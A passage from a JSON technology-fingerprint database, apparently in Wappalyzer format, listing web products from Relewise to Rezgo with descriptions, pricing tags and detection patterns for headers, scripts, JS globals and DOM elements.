recommendations.\",\n    \"dom\": [\n      \"link[href*='api.relewise.com/']\"\n    ],\n    \"icon\": \"Relewise.svg\",\n    \"js\": {\n      \"relewiseConfig\": \"\",\n      \"relewiseTracking\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://relewise.com\"\n  },\n  \"Remarkable Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Remarkable Commerce is a technology and services company which provides a ecommerce platform for mid-sized retailers.\",\n    \"headers\": {\n      \"x-powered-by\": \"Remarkable Commerce\"\n    },\n    \"icon\": \"Remarkable.svg\",\n    \"js\": {\n      \"Remarkable.BasketItems\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://remarkable.net/\"\n  },\n  \"Remix\": {\n    \"cats\": [\n      18,\n      22\n    ],\n    \"description\": \"Remix is a React framework used for server-side rendering (SSR).\",\n    \"icon\": \"Remix.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"__remixContext\": \"\"\n    },\n    \"oss\": true,\n    \"website\": \"https://remix.run/\"\n  },\n  \"Remixd\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Remixd is a platform that enables podcast creators to efficiently produce and share their podcasts with a worldwide audience. The platform provides various tools and features to support podcast creation, hosting, and distribution, such as podcast hosting, analytics, monetisation, and social media integration.\",\n    \"icon\": \"remixd.svg\",\n    \"scriptSrc\": [\n      \"tags\\\\.remixd\\\\.com/player\"\n    ],\n    \"website\": \"https://www.remixd.com\"\n  },\n  \"Remotion\": {\n    \"cats\": [\n      14\n    ],\n    \"description\": \"Remotion is a software tool that enables the creation of videos through React programming.\",\n    \"icon\": \"Remotion.svg\",\n    \"implies\": [\n      \"React\"\n    ],\n    \"js\": {\n      \"remotion_imported\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\",\n      \"remotion_renderReady\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"website\": \"https://remotion.dev\"\n  },\n  \"Render\": {\n    \"cats\": [\n      62\n    ],\n    \"description\": \"Render is a cloud computing platform that provides a wide range of services, including web hosting, cloud computing, and application development. Render offers several hosting options, including static site hosting, web application hosting, and managed databases.\",\n    \"headers\": {\n      \"x-render-origin-server\": \"Render\"\n    },\n    \"icon\": \"Render.svg\",\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"website\": \"https://render.com\"\n  },\n  \"Render Better\": {\n    \"cats\": [\n      92,\n      100\n    ],\n    \"description\": \"Render Better is automated site speed and core web vital optimisation platform for Shopify.\",\n    \"dns\": {\n      \"CNAME\": \"\\\\.renderbetter\\\\.app\"\n    },\n    \"icon\": \"renderbetter.svg\",\n    \"js\": {\n      \"renderbetter\": \"\"\n    },\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"website\": \"https://www.renderbetter.com\"\n  },\n  \"Replicache\": {\n    \"cats\": [\n      12,\n      23\n    ],\n    \"description\": \"Replicache is a JavaScript framework for building high-performance, offline-capable, collaborative web apps.\",\n    \"headers\": {\n      \"x-replicache-requestid\": \"\"\n    },\n    \"icon\": \"Replicache.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://replicache.dev/\"\n  },\n  \"Replit\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Replit is a platform for creating and sharing software.\",\n    \"headers\": {\n      \"expect-ct\": \"\\\\.repl\\\\.it/\",\n      \"replit-cluster\": \"\"\n    },\n    \"icon\": \"Replit.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://replit.com\"\n  },\n  \"Replo\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Replo is a platform offering customizable landing pages designed for ecommerce teams.\",\n    \"dom\": [\n      \"div[id='replo-fullpage-element']\",\n      \"script[id='replo-deps-element-id']\"\n    ],\n    \"icon\": \"replo.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"replocdn\\\\.com/\"\n    ],\n    \"website\": \"https://www.replo.app\"\n  },\n  \"Replyco\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Replyco is a helpdesk software designed for ecommerce sellers to manage and centralise inbox messages across various marketplaces.\",\n    \"icon\": \"Replyco.svg\",\n    \"js\": {\n      \"replycoChat\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.replyco\\\\.com/\"\n    ],\n    \"website\": \"https://replyco.com\"\n  },\n  \"Replyment\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Engage with your customers effortlessly on their preferred messaging app using Replyment, including WhatsApp, Messenger, and more. We support 20+ apps and platforms for seamless engagement.\",\n    \"icon\": \"Replyment.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.replyment\\\\.com/\"\n    ],\n    \"website\": \"https://replyment.com\"\n  },\n  \"Repro\": {\n    \"cats\": [\n      10,\n      32\n    ],\n    \"description\": \"Repro is a growth platform for mobile apps offering flexible analytics, user studies with play-by-play action videos, and marketing strategies like push notifications and in-app messages.\",\n    \"icon\": \"Repro.svg\",\n    \"js\": {\n      \"reproio\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.reproio\\\\.com/web/v([\\\\d\\\\.]+)/repro-sdk\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://repro.io\"\n  },\n  \"Reputon\": {\n    \"cats\": [\n      90,\n      100\n    ],\n    \"description\": \"Reputon is an customer reviews Shopify app.\",\n    \"icon\": \"Reputon.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reputon\\\\.com/\"\n    ],\n    \"website\": \"https://reputon.com\"\n  },\n  \"RequireJS\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"RequireJS is a JavaScript library and file loader which manages the dependencies between JavaScript files and in modular programming.\",\n    \"icon\": \"RequireJS.svg\",\n    \"js\": {\n      \"requirejs.version\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"scriptSrc\": [\n      \"require.*\\\\.js\"\n    ],\n    \"website\": \"https://requirejs.org\"\n  },\n  \"ResDiary\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"ResDiary, is a online reservation system for hospitality operators.\",\n    \"dom\": {\n      \"iframe[src*='resdiary']\": {\n        \"attributes\": {\n          \"src\": \"\\\\.resdiary\\\\.\\\\w+/\"\n        }\n      }\n    },\n    \"icon\": \"ResDiary.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.resdiary\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.resdiary.com\"\n  },\n  \"Resengo\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Resengo is a restaurant table booking widget.\",\n    \"dom\": {\n      \"iframe[src*='resengo']\": {\n        \"attributes\": {\n          \"src\": \"www\\\\.resengo\\\\.\\\\w+\"\n        }\n      }\n    },\n    \"icon\": \"Resengo.svg\",\n    \"js\": {\n      \"wpJsonpResengoReservationWidget\": \"\"\n    },\n    \"scriptSrc\": [\n      \"www\\\\.resengo\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://wwc.resengo.com\"\n  },\n  \"Reserva INK\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Reserva INK is a platform that enables users to sell personalized t-shirts without the need for stock, offering nationwide delivery and a professional online store for easy management of orders and sales.\",\n    \"icon\": \"ReservaINK.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"www\\\\.reserva\\\\.ink\"\n    ],\n    \"website\": \"https://reserva.ink\"\n  },\n  \"Reserve In-Store\": {\n    \"cats\": [\n      100,\n      93\n    ],\n    \"description\": \"Reserve In-Store app will allow customers to reserve an item in your store online to come to pick it up or view the item before making the purchase.\",\n    \"icon\": \"Reserve In-Store.svg\",\n    \"implies\": [\n      \"Shopify\"\n    ],\n    \"js\": {\n      \"reserveInStore.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\",\n      \"reserveInStoreJsUrl\": \"/reserveinstore\\\\.js.+\\\\.myshopify\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.reserveinstore.com\"\n  },\n  \"Reservio\": {\n    \"cats\": [\n      93,\n      72\n    ],\n    \"description\": \"Reservio is a cloud-based appointment scheduling and online booking solution.\",\n    \"dom\": [\n      \".reservio-booking-button\",\n      \"a[href*='.reservio.com'][target='_blank']\",\n      \"a[href*='bookings.reservio.com']\"\n    ],\n    \"icon\": \"Reservio.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.reservio\\\\.com\"\n    ],\n    \"website\": \"https://www.reservio.com\"\n  },\n  \"Resin\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:caucho:resin:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"^Resin(?:/(\\\\S*))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Resin.png\",\n    \"implies\": [\n      \"Java\"\n    ],\n    \"website\": \"https://caucho.com\"\n  },\n  \"Resmio\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Resmio is a restaurant table booking widget.\",\n    \"icon\": \"Resmio.svg\",\n    \"js\": {\n      \"ResmioButton\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\",\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"static\\\\.resmio\\\\.\\\\w+/static/\"\n    ],\n    \"website\": \"https://www.resmio.com\"\n  },\n  \"Resova\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Resova is an online booking software.\",\n    \"dom\": {\n      \"a[href*='.resova.']\": {\n        \"attributes\": {\n          \"href\": \"\\\\.resova\\\\.(?:us|eu|co\\\\.uk)\"\n        }\n      }\n    },\n    \"icon\": \"Resova.svg\",\n    \"js\": {\n      \"baseUrl\": \"\\\\.resova\\\\.(?:us|eu|co\\\\.uk)\",\n      \"initResova\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://resova.com\"\n  },\n  \"Respond.io\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Respond.io is an AI-powered customer conversation management software.\",\n    \"dom\": [\n      \"script#respondio__growth_tool\"\n    ],\n    \"icon\": \"RespondIO.svg\",\n    \"js\": {\n      \"$__respond\": \"\",\n      \"$respond\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.respond.io\"\n  },\n  \"Responsive Lightbox & Gallery\": {\n    \"cats\": [\n      87,\n      7\n    ],\n    \"description\": \"Responsive Lightbox & Gallery plugin is a lightweight WordPress gallery plugin by Digital Factory.\",\n    \"icon\": \"Digital Factory.svg\",\n    \"js\": {\n      \"rlArgs.activeGalleries\": \"\",\n      \"rl_hide_image\": \"\",\n      \"rl_view_image\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"/wp-content/plugins/responsive-lightbox/.+front\\\\.js(?:\\\\?ver=(\\\\d+(?:\\\\.\\\\d+)+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dfactory.eu/products/responsive-lightbox-gallery-extensions/\"\n  },\n  \"Responsive Nav\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Responsive navigation plugin without library dependencies and with fast touch screen support.\",\n    \"icon\": \"Responsive Nav.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"responsive-nav(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"http://responsive-nav.com/\"\n  },\n  \"ResponsiveVoice\": {\n    \"cats\": [\n      19\n    ],\n    \"description\": \"ResponsiveVoice is a Text-To-Speech API supported in 51 languages.\",\n    \"icon\": \"ResponsiveVoice.png\",\n    \"js\": {\n      \"responsiveVoice.version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://responsivevoice.org\"\n  },\n  \"Restaumatic\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Restaumatic is an ecommerce online restaurant ordering system.\",\n    \"icon\": \"Restaumatic.svg\",\n    \"js\": {\n      \"RestaumaticRegistry\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.restaumatic.com\"\n  },\n  \"Resy\": {\n    \"cats\": [\n      93\n    ],\n    \"description\": \"Resy is an technology and media company that provides an app and back-end management software for restaurant reservations.\",\n    \"icon\": \"Resy.svg\",\n    \"js\": {\n      \"resyWidget\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widgets\\\\.resy\\\\.\\\\w+\"\n    ],\n    \"website\": \"https://resy.com\"\n  },\n  \"Retail Rocket\": {\n    \"cats\": [\n      76\n    ],\n    \"cookies\": {\n      \"rr-testCookie\": \"testvalue\",\n      \"rrpvid\": \"^\\\\d+$\"\n    },\n    \"description\": \"Retail Rocket is a big data-based personalisation platform for ecommerce websites.\",\n    \"icon\": \"Retail Rocket.svg\",\n    \"js\": {\n      \"retailrocket\": \"\",\n      \"rrAddToBasket\": \"\\\\;confidence:25\",\n      \"rrApiOnReady\": \"\\\\;confidence:25\",\n      \"rrLibrary\": \"\\\\;confidence:25\",\n      \"rrPartnerId\": \"\\\\;confidence:25\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.retailrocket\\\\.net\"\n    ],\n    \"website\": \"https://retailrocket.net\"\n  },\n  \"Retain\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Retain is an online conversation system developed in Iran designed to facilitate digital communication.\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.retain\\\\.ir/\"\n    ],\n    \"website\": \"https://retain.ir\"\n  },\n  \"Retention.com\": {\n    \"cats\": [\n      100,\n      36\n    ],\n    \"description\": \"Retention.com's identity resolution software helps Shopify merchants recover lost shoppers.\",\n    \"icon\": \"Retention.com.svg\",\n    \"js\": {\n      \"addedToCartRetentionButton\": \"\",\n      \"viewedProductRetention\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://retention.com\"\n  },\n  \"Retina.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Retina.js is an open-source script designed to facilitate the delivery of high-resolution images to devices with retina displays.\",\n    \"js\": {\n      \"RetinaImage\": \"\",\n      \"retinajs\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/js/retina(\\\\.min)?\\\\.js\\\\?ver=([\\\\d\\\\.]+)\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://imulus.github.io/retinajs\"\n  },\n  \"Retool\": {\n    \"cats\": [\n      47\n    ],\n    \"description\": \"Retool is a development platform that enables the rapid creation and customisation of internal tools, including admin dashboards and database interfaces, through a combination of drag-and-drop components and code.\",\n    \"icon\": \"Retool.svg\",\n    \"js\": {\n      \"RETOOL_PAGE_SUSPEND_DETECTED\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\",\n      \"recurring\"\n    ],\n    \"scriptSrc\": [\n      \"retool(?:-edge)?(?:\\\\.com)?(?:\\\\/embed)?\\\\/?(?:runtime)?~?(?:app)?(?:custom-components)?(?:\\\\.\\\\w{0,20})?\\\\.js\"\n    ],\n    \"url\": [\n      \"^https://retool\\\\.[\\\\d\\\\w\\\\-]+\\\\.(?:com|io)/\"\n    ],\n    \"website\": \"https://retool.com\"\n  },\n  \"Return Prime\": {\n    \"cats\": [\n      100,\n      102\n    ],\n    \"description\": \"Return Prime is an application to manage returns for Shopify stores.\",\n    \"icon\": \"return-prime.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"scriptSrc\": [\n      \"//return-prime-proxy-prod\\\\.s3[^ ]*\\\\.amazonaws\\\\.com/\"\n    ],\n    \"website\": \"https://www.returnprime.com/\"\n  },\n  \"ReturnGO\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"ReturnGO's AI-driven returns management platform significantly improves customer lifetime value and post-purchase experience.\",\n    \"icon\": \"ReturnGO.png\",\n    \"js\": {\n      \"returnGoCanBeRun\": \"\",\n      \"returnGoIntegrationData\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.returngo\\\\.ai/\"\n    ],\n    \"website\": \"https://returngo.ai\"\n  },\n  \"Returnly\": {\n    \"cats\": [\n      102\n    ],\n    \"description\": \"Returnly is the provider of digital return experiences for direct-to-consumer brands.\",\n    \"dom\": [\n      \"a[href*='.returnly.com/']\"\n    ],\n    \"icon\": \"Returnly.svg\",\n    \"js\": {\n      \"Returnly.ContainerSwitcher\": \"\",\n      \"Returnly.InternalEventTracker\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://returnly.com\"\n  },\n  \"Retype\": {\n    \"cats\": [\n      57\n    ],\n    \"description\": \"Retype is an open-source static site generator built with Node.js that allows users to create and manage websites with ease using Markdown as the primary content format.\",\n    \"icon\": \"retype.svg\",\n    \"implies\": [\n      \"Node.js\"\n    ],\n    \"meta\": {\n      \"generator\": \"Retype\\\\s([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"website\": \"https://retype.com\"\n  },\n  \"Reunion Marketing\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Reunion Marketing is a digital marketing platform for automotive dealerships.\",\n    \"icon\": \"ReunionMarketing.svg\",\n    \"js\": {\n      \"reunionMarketingApiDomain\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://reunionmarketing.com\"\n  },\n  \"RevBid\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"RevBid is a header bidding platform designed for publishers to optimize ad revenue.\",\n    \"icon\": \"RevBid.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.revbid\\\\.net/\"\n    ],\n    \"website\": \"https://revbid.net\"\n  },\n  \"RevContent\": {\n    \"cats\": [\n      36,\n      5\n    ],\n    \"description\": \"RevContent is a monetization and recommendation engine that connects advertisers to highly engaged audiences on the web's leading publisher sites.\",\n    \"dom\": [\n      \"link[href*='.revcontent.com']\"\n    ],\n    \"icon\": \"revcontent.png\",\n    \"js\": {\n      \"revcontent\": \"\"\n    },\n    \"website\": \"https://www.revcontent.com\"\n  },\n  \"RevJet\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"RevJet is the first comprehensive Ad Experience Platform, for every audience, channel, format, inventory, and device.\",\n    \"dom\": [\n      \"link[href*='.revjet.com']\"\n    ],\n    \"icon\": \"RevJet.png\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.revjet.com\"\n  },\n  \"RevLifter\": {\n    \"cats\": [\n      76\n    ],\n    \"cookies\": {\n      \"REVLIFTER\": \"\"\n    },\n    \"description\": \"RevLifter is an AI-powered coupon technology which allows brands to offer personalised incentives to their customers based on real-time basket data.\",\n    \"icon\": \"RevLifter.svg\",\n    \"js\": {\n      \"RevLifterObject\": \"\",\n      \"revlifter\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"assets\\\\.revlifter\\\\.io\"\n    ],\n    \"website\": \"https://www.revlifter.com\"\n  },\n  \"Reveal.js\": {\n    \"cats\": [\n      12\n    ],\n    \"description\": \"Reveal.js is a JavaScript framework for building dynamic and interactive presentations using web technologies like HTML, CSS, and JavaScript.\",\n    \"icon\": \"reveal.js.svg\",\n    \"implies\": [\n      \"Highlight.js\"\n    ],\n    \"js\": {\n      \"Reveal.VERSION\": \"^(.+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"(?:^|/)reveal(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://revealjs.com\"\n  },\n  \"Revel\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"REVEL_FLASH\": \"\",\n      \"REVEL_SESSION\": \"\"\n    },\n    \"icon\": \"Revel.png\",\n    \"implies\": [\n      \"Go\"\n    ],\n    \"website\": \"https://revel.github.io\"\n  },\n  \"RevenueHunt\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"RevenueHunt is an affiliate marketing and advertising company specializing in paid surveys and cost per lead campaigns.\",\n    \"icon\": \"RevenueHunt.png\",\n    \"scriptSrc\": [\n      \"admin\\\\.revenuehunt\\\\.com/\"\n    ],\n    \"website\": \"https://revenuehunt.com\"\n  },\n  \"Reverse Market Insight\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Reverse Market Insight is a provider of performance data and analytics solutions for the reverse mortgage industry.\",\n    \"icon\": \"ReverseMarketInsight.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.rminsight\\\\.net\"\n    ],\n    \"website\": \"https://www.rminsight.net\"\n  },\n  \"Revieve\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Revieve is a technology company delivering consumer-centric personalised digital brand experiences powered by AI/AR.\",\n    \"icon\": \"Revieve.svg\",\n    \"js\": {\n      \"Revieve.__esModule\": \"\",\n      \"revieveConfig.onClickProduct\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.revieve.com\"\n  },\n  \"Review Stars\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Review Stars is a digital marketing boutique that assists businesses in enhancing their positive online reputation using review generation technology.\",\n    \"icon\": \"ReviewStars.svg\",\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reviewstars\\\\.com/\"\n    ],\n    \"website\": \"https://reviewstars.com/\"\n  },\n  \"Review Wave\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Review Wave is reputation management software that helps business owners obtain reviews on trusted websites to boost growth.\",\n    \"icon\": \"ReviewWave.svg\",\n    \"js\": {\n      \"RWEmbedJS\": \"\",\n      \"_rwReviewEmbed\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.reviewwave\\\\.com/\"\n    ],\n    \"website\": \"https://www.reviewwave.com\"\n  },\n  \"ReviewForest\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"ReviewForest is a service that facilitates the collection of product reviews, contributing to environmental efforts.\",\n    \"icon\": \"ReviewForest.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reviewforest\\\\.org/\"\n    ],\n    \"website\": \"https://reviewforest.org/\"\n  },\n  \"ReviewRail\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"ReviewRail is an online review system designed to collect, manage, and display customer feedback.\",\n    \"icon\": \"ReviewRail.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.reviewrail\\\\.com/\"\n    ],\n    \"website\": \"https://reviewrail.com/\"\n  },\n  \"ReviewSolicitors\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"ReviewSolicitors is a free and independent client-led review platform focusing on the UK legal market.\",\n    \"icon\": \"ReviewSolicitors.svg\",\n    \"js\": {\n      \"rs.getWidgetHtml\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reviewsolicitors\\\\.co\\\\.uk/\"\n    ],\n    \"website\": \"https://www.reviewsolicitors.co.uk\"\n  },\n  \"Reviews.io\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Reviews.io is a review collection tool for companies to collect merchant (company) & product reviews from genuine customers, then share these on Google.\",\n    \"dom\": [\n      \"a[href*='.reviews.io/company-reviews/']\"\n    ],\n    \"icon\": \"Reviews.io.svg\",\n    \"js\": {\n      \"reviewsio_hasVoted\": \"\",\n      \"reviewsio_shareLink\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.reviews.io\"\n  },\n  \"Reviewshake\": {\n    \"cats\": [\n      90\n    ],\n    \"description\": \"Reviewshake is an all-in-one reputation management tool that generates reviews, enhances your brand, and monitors your reputation.\",\n    \"icon\": \"Reviewshake.svg\",\n    \"js\": {\n      \"Rails.appUrl\": \"app\\\\.reviewshake\\\\.com\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.reviewshake\\\\.com/\"\n    ],\n    \"website\": \"https://www.reviewshake.com/\"\n  },\n  \"RevolverMaps\": {\n    \"cats\": [\n      35\n    ],\n    \"description\": \"RevolverMaps is a collection of real-time visitor statistics widgets for website or blog. Interactive visitor mappings to a globe rendered by the Revolver Engine.\",\n    \"icon\": \"RevolverMaps.svg\",\n    \"scriptSrc\": [\n      \"\\\\.revolvermaps\\\\.com\"\n    ],\n    \"website\": \"https://www.revolvermaps.com\"\n  },\n  \"Revv\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Revv is a lead optimisation and donation platform.\",\n    \"icon\": \"Revv.svg\",\n    \"meta\": {\n      \"revv-api-domain\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://revv.com\"\n  },\n  \"Revy\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Revy is dedicated to build Shopify Apps to generate more sales for merchants.\",\n    \"icon\": \"Revy.svg\",\n    \"js\": {\n      \"RevyApp\": \"\",\n      \"RevyBundle\": \"\",\n      \"RevyUpsell\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"api\\\\.revy\\\\.io/\"\n    ],\n    \"website\": \"https://revy.io\"\n  },\n  \"Rewardful\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Rewardful is a way for SaaS companies to setup affiliate and referral programs with Stripe.\",\n    \"icon\": \"Rewardful.svg\",\n    \"js\": {\n      \"Rewardful\": \"\"\n    },\n    \"scriptSrc\": [\n      \"r\\\\.wdfl\\\\.co\"\n    ],\n    \"website\": \"https://www.getrewardful.com/\"\n  },\n  \"Rewix\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Rewix is a B2B ecommerce platform that offers flexible and secure solutions to increase sales through data-driven tools.\",\n    \"icon\": \"Rewix.svg\",\n    \"js\": {\n      \"Rewix.trackUpdateCart\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.rewixecommerce.com\"\n  },\n  \"Rezdy\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Rezdy is an online booking software for tours and attractions.\",\n    \"icon\": \"Rezdy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"rezdy\\\\.\\\\w+/pluginJs\"\n    ],\n    \"website\": \"https://www.rezdy.com\"\n  },\n  \"Rezgo\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Rezgo is a tour operator software that provides online booking system.\",\n    \"dom\": {\n      \"iframe\": {\n        \"attributes\": {\n          \"id\": \"rezgo_content_frame\"\n        }\n      },\n      \"link\": {\n        \"attributes\": {\n          \"href\": \"wp-content/plugins/rezgo/rezgo/templates\"\n        }\n      }\n    },\n    \"icon\": \"Rezgo.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": 